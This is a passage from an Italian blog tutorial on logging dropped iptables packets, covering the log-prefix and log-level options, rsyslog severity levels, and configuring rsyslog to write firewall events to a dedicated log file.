Come potete notare, prima ho loggato il traffico spoofato e solo dopo ho scartato i pacchetti incriminati. Inoltre, alcuni parametri interessanti per il logging che ho utilizzato nelle regole precedenti sono:

–log-prefix, che ci permette di identificare più facilmente i log relativi ai pacchetti droppati dal firewall (il prefisso può essere costituito da un massimo di 29 caratteri);

–log-level, che ci consente di definire la “pericolosità” degli eventi registrati dal firewall.

Nella fattispecie, i log level utilizzati da rsyslogd sono i seguenti:

level    verbose     explanation
 0         emerg       system is unusable
 1         alert          action must be taken immediately
 2         crit            the system is in a critical condition
 3         err            there is an error condition
 4         warning    there is a warning condition
 5         notice       a normal but significant condition
 6         info          a purely informational message
 7        debug       messages generated to debug the application

Detto ciò, per il logging dei pacchetti droppati da iptables ho utilizzato un livello 4, ovvero warning.

Creiamo ora il file di log vero e proprio, in cui verranno salvati gli eventi intercettati dal firewall:

nightfly@nightbox:~$ sudo touch /var/log/iptables.log

Infine, modifichiamo il file di configurazione di rsyslogd:

nightfly@nightbox:~$ sudo nano /etc/rsyslog.d/50-default.conf

ed inseriamo la seguente stringa:

kern.warning                 /var/log/iptables.log

da posizionare subito prima di

kern.*                          -/var/log/kern.log

Riavviamo rsyslogd digitando:

nightfly@nightbox:~$ sudo service rsyslog restart

ed il gioco è fatto.

A presto.